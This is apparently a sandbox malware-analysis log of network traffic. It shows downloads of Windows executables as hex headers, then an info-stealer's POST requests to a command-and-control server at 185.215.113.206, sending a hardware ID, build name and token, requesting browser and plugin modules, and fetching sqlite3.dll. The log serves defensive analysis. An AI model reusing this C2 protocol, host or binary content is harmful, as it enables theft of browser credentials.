00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 09:07:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 09:07:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 09:07:47 GMTContent-Type: application/octet-streamContent-Length: 3281920Last-Modified: Sun, 17 Nov 2024 08:46:10 GMTConnection: keep-aliveETag: "6739ad52-321400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 32 00 00 04 00 00 0c 2e 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 02 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 02 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 71 6c 72 75 77 64 78 00 60 2b 00 00 b0 06 00 00 54 2b 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6d 77 72 77 61 77 70 00 10 00 00 00 10 32 00 00 06 00 00 00 ec 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 32 00 00 22 00 00 00 f2 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 09:09:09 GMTContent-Type: application/octet-streamContent-Length: 1938432Last-Modified: Sun, 17 Nov 2024 08:45:54 GMTConnection: keep-aliveETag: "6739ad42-1d9400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 f0 4c 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4d 00 00 04 00 00 b0 e8 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2c 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 71 68 78 6f 6f 6f 67 00 f0 1a 00 00 f0 31 00 00 e2 1a 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 72 70 76 72 65 68 71 00 10 00 00 00 e0 4c 00 00 04 00 00 00 6e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4c 00 00 22 00 00 00 72 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 09:09:15 GMTContent-Type: application/octet-streamContent-Length: 1797120Last-Modified: Sun, 17 Nov 2024 08:46:01 GMTConnection: keep-aliveETag: "6739ad49-1b6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 b8 07 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 70 74 6b 68 69 74 67 00 d0 19 00 00 40 4f 00 00 cc 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 76 69 75 63 6f 67 6d 00 10 00 00 00 10 69 00 00 06 00 00 00 44 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 4a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 38 38 42 37 36 45 37 36 36 39 33 31 39 36 39 33 34 38 38 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="hwid"1088B76E76693196934881------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="build"mars------GDHDHJEBGHJKFIECBGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="message"browsers------AFCBKFHJJJKKFHIDAAKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="message"plugins------HJDHCFCBGIDGHJJKJJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="message"fplugins------AAFIJKKEHJDHJKFIECAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHIHost: 185.215.113.206Content-Length: 6775Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAEHost: 185.215.113.206Content-Length: 995Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 